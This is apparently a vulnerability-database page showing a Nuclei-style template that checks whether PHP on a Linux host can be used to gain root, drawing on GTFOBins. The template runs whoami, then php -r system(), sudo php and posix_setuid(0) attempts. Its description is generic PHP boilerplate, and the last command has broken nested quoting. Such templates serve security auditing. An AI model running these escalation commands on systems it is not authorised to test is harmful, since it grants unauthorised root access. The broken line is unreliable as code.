privesc-php: PHP - Privilege Escalation

2025-08-01 php PoC Public

Description

PHP is a popular server-side scripting language that is widely used for web development. It is known for its ease of use, flexibility, and broad support for web frameworks and content management systems. PHP is commonly used to create dynamic web pages, process form data, manage sessions, and interact with databases.

PoC

id: privesc-php

info:
  name: PHP - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    PHP is a popular server-side scripting language that is widely used for web development. It is known for its ease of use, flexibility, and broad support for web frameworks and content management systems. PHP is commonly used to create dynamic web pages, process form data, manage sessions, and interact with databases.
  reference:
    - https://gtfobins.github.io/gtfobins/php/
  metadata:
    verified: true
    max-request: 4
  tags: code,linux,php,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      php -r 'system("whoami");'

  - engine:
      - sh
      - bash
    source: |
      sudo php -r 'system("whoami");'

  - engine:
      - sh
      - bash
    source: |
      php -r "posix_setuid(0); system("whoami");"

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
          - 'contains(code_4_response, "root")'
        condition: or
# digest: 490a004630440220718e9daab27236b0aa107e0c48df0aa520b324de599ddee266f9f3512c33c8e302205621f323fa251586f6e7db2c10ff0fa7b851274ab799829a2901213824c26e04:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities